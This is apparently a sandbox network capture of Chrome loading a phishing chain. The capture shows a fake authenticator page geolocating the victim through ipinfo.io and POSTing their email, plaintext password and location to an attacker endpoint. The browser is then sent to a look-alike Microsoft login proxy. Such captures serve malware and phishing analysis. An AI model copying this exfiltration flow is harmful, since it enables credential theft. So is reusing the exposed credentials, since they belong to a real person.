2024-12-10 14:09:44 UTC	358	OUT	GET /json?token=ad570b7adafe32 HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:44 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 276 content-type: application/json; charset=utf-8 date: Tue, 10 Dec 2024 14:09:44 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-10 14:09:44 UTC	276	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a Data Ascii: { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49784	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:44 UTC	813	OUT	GET / HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6
2024-12-10 14:09:44 UTC	20	IN	HTTP/1.1 302 Found
2024-12-10 14:09:44 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:44 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:44 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2024-12-10 14:09:44 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 31 34 3a 30 39 3a 34 33 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 10 Dec 2024 14:09:43 GMT
2024-12-10 14:09:44 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2024-12-10 14:09:44 UTC	57	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 73 6c 6f 6f 6b 75 70 61 75 74 68 65 6e 74 69 63 61 74 6f 72 2e 63 6c 69 63 6b 2f 6c 6f 67 69 6e 0d 0a Data Ascii: Location: https://www.mslookupauthenticator.click/login
2024-12-10 14:09:44 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2024-12-10 14:09:44 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2024-12-10 14:09:44 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2024-12-10 14:09:44 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49787	104.21.64.1	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:45 UTC	669	OUT	POST /fwd/api HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive Content-Length: 382 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://autenticatorresolver.online Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://autenticatorresolver.online/fl/ryzm5vdi Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:45 UTC	382	OUT	Data Raw: 70 61 73 73 77 6f 72 64 3d 35 25 33 45 53 64 6b 25 34 30 68 25 33 46 6e 30 21 25 33 42 74 6b 65 50 69 26 65 6d 61 69 6c 3d 75 6b 2e 62 64 74 25 34 30 62 65 6c 7a 6f 6e 61 2e 63 6f 6d 26 67 72 6f 75 70 5f 69 64 3d 31 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 31 37 35 26 63 69 74 79 3d 4e 65 77 25 32 30 59 6f 72 6b 25 32 30 43 69 74 79 26 72 65 67 69 6f 6e 3d 4e 65 77 25 32 30 59 6f 72 6b 26 63 6f 75 6e 74 72 79 3d 55 53 26 74 69 6d 65 7a 6f 6e 65 3d 41 6d 65 72 69 63 61 25 32 46 4e 65 77 5f 59 6f 72 6b 26 63 75 72 72 65 6e 74 54 69 6d 65 3d 39 25 33 41 30 39 25 33 41 34 32 25 32 30 41 4d 26 63 75 72 72 65 6e 74 44 61 74 65 3d 31 32 25 32 46 31 30 25 32 46 32 30 32 34 26 75 73 65 72 41 67 65 6e 74 3d 4d 6f 7a 69 6c 6c 61 25 32 46 35 2e 30 25 32 30 28 57 69 6e Data Ascii: password=5%3ESdk%40h%3Fn0!%3BtkePi&email=uk.bdt%40belzona.com&group_id=1&ip=8.46.123.175&city=New%20York%20City&region=New%20York&country=US&timezone=America%2FNew_York&currentTime=9%3A09%3A42%20AM&currentDate=12%2F10%2F2024&userAgent=Mozilla%2F5.0%20(Win
2024-12-10 14:09:47 UTC	991	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:09:46 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ocucspvggfpb5s8uqffc1s9edb; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CvKgxgCsyOQRi0WAMjkOb5aUUGdzdpKzP9bJFmiKMD9r7oQSYYo%2FthC3kQd%2FNZ70GXg7yoO%2BlSzwCNu8l2CTPD8GYqdQNTrZjge2h%2BgeweB59iKkLqqBnOnFp%2FpowT1mqxhEIefZKmX8QF1hETM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efdd083bc767277-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1996&min_rtt=1996&rtt_var=998&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4282&recv_bytes=1651&delivery_rate=204539&cwnd=225&unsent_bytes=0&cid=a215dd2ae4a4ee1f&ts=1826&x=0"
2024-12-10 14:09:47 UTC	166	IN	Data Raw: 61 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 44 61 74 61 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 22 2c 22 61 70 69 52 65 73 70 6f 6e 73 65 22 3a 22 7b 5c 22 73 74 61 74 75 73 5c 22 3a 5c 22 73 75 63 63 65 73 73 5c 22 2c 5c 22 6d 65 73 73 61 67 65 5c 22 3a 5c 22 45 6d 61 69 6c 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 5c 22 2c 5c 22 67 72 6f 75 70 5f 69 64 5c 22 3a 5c 22 31 5c 22 7d 22 7d 0d 0a 0d 0a 0d 0a Data Ascii: a0{"status":"success","message":"Data sent successfully","apiResponse":"{\"status\":\"success\",\"message\":\"Email sent successfully!\",\"group_id\":\"1\"}"}
2024-12-10 14:09:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49788	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:46 UTC	816	OUT	GET /login HTTP/1.1 Host: www.mslookupauthenticator.click Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6
2024-12-10 14:09:47 UTC	20	IN	HTTP/1.1 302 Found
2024-12-10 14:09:47 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:47 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:47 UTC	24	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a Data Ascii: Content-Encoding: gzip
2024-12-10 14:09:47 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2024-12-10 14:09:47 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 31 34 3a 30 39 3a 34 36 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 10 Dec 2024 14:09:46 GMT
2024-12-10 14:09:47 UTC	846	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 73 6c 6f 6f 6b 75 70 61 75 74 68 65 6e 74 69 63 61 74 6f 72 2e 63 6c 69 63 6b 2f 63 6f 6d 6d 6f 6e 2f 6f 61 75 74 68 32 2f 76 32 2e 30 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 46 6c 61 6e 64 69 6e 67 76 32 26 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 25 32 30 69 64 5f 74 6f 6b 65 6e 26 73 63 6f 70 65 3d 6f 70 65 6e 69 64 25 32 30 70 72 6f 66 69 6c 65 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e Data Ascii: Location: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.
2024-12-10 14:09:47 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2024-12-10 14:09:47 UTC	25	IN	Data Raw: 52 65 71 75 65 73 74 2d 43 6f 6e 74 65 78 74 3a 20 61 70 70 49 64 3d 0d 0a Data Ascii: Request-Context: appId=
2024-12-10 14:09:47 UTC	114	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 44 43 41 66 66 69 6e 69 74 79 3d 4f 48 2d 65 75 73 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 32 32 3a 30 39 3a 34 37 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.DCAffinity=OH-eus; Path=/; Expires=Tue, 10 Dec 2024 22:09:47 GMT; HttpOnly; Secure; SameSite=None
2024-12-10 14:09:47 UTC	138	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 46 4c 49 44 3d 65 65 36 62 30 65 31 33 2d 34 37 32 65 2d 34 32 32 32 2d 62 39 64 62 2d 61 32 35 30 39 61 35 63 33 63 63 65 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 31 30 20 44 65 63 20 32 30 32 35 20 31 34 3a 30 39 3a 34 37 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.FLID=ee6b0e13-472e-4222-b9db-a2509a5c3cce; Path=/; Expires=Wed, 10 Dec 2025 14:09:47 GMT; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49790	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:48 UTC	1901	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-12-10 14:09:49 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:49 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:49 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:49 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2024-12-10 14:09:49 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 31 34 3a 30 39 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 10 Dec 2024 14:09:48 GMT
2024-12-10 14:09:49 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2024-12-10 14:09:49 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2024-12-10 14:09:49 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2024-12-10 14:09:49 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2024-12-10 14:09:49 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2024-12-10 14:09:49 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49791	104.21.112.1	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:49 UTC	358	OUT	GET /fwd/api HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:50 UTC	984	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:09:50 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nge7pbkt26kk18nh5d4agag3pa; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F50TxUZWVfC1EU%2BZoR7ZUk3CBzHaXIRkRxWgZHNQSssdkYxIwIycUxTnQ0ZAjzi2AIoYEhty0DDWZdT0Xroz9zTR5y6HGI2Cf9DCEaZff3ejT9lAlP91czkjM9H7aBuS%2Bwtd9eLqx8rAWmXovFs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efdd09f1d8543f1-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1614&rtt_var=605&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2872&recv_bytes=936&delivery_rate=1806930&cwnd=218&unsent_bytes=0&cid=9876f1b0f7579025&ts=665&x=0"
2024-12-10 14:09:50 UTC	72	IN	Data Raw: 34 32 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 4d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 64 61 74 61 22 2c 22 64 61 74 61 22 3a 5b 5d 7d 0d 0a 0d 0a 0d 0a Data Ascii: 42{"status":"error","message":"Missing required data","data":[]}
2024-12-10 14:09:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49793	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:50 UTC	2061	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; 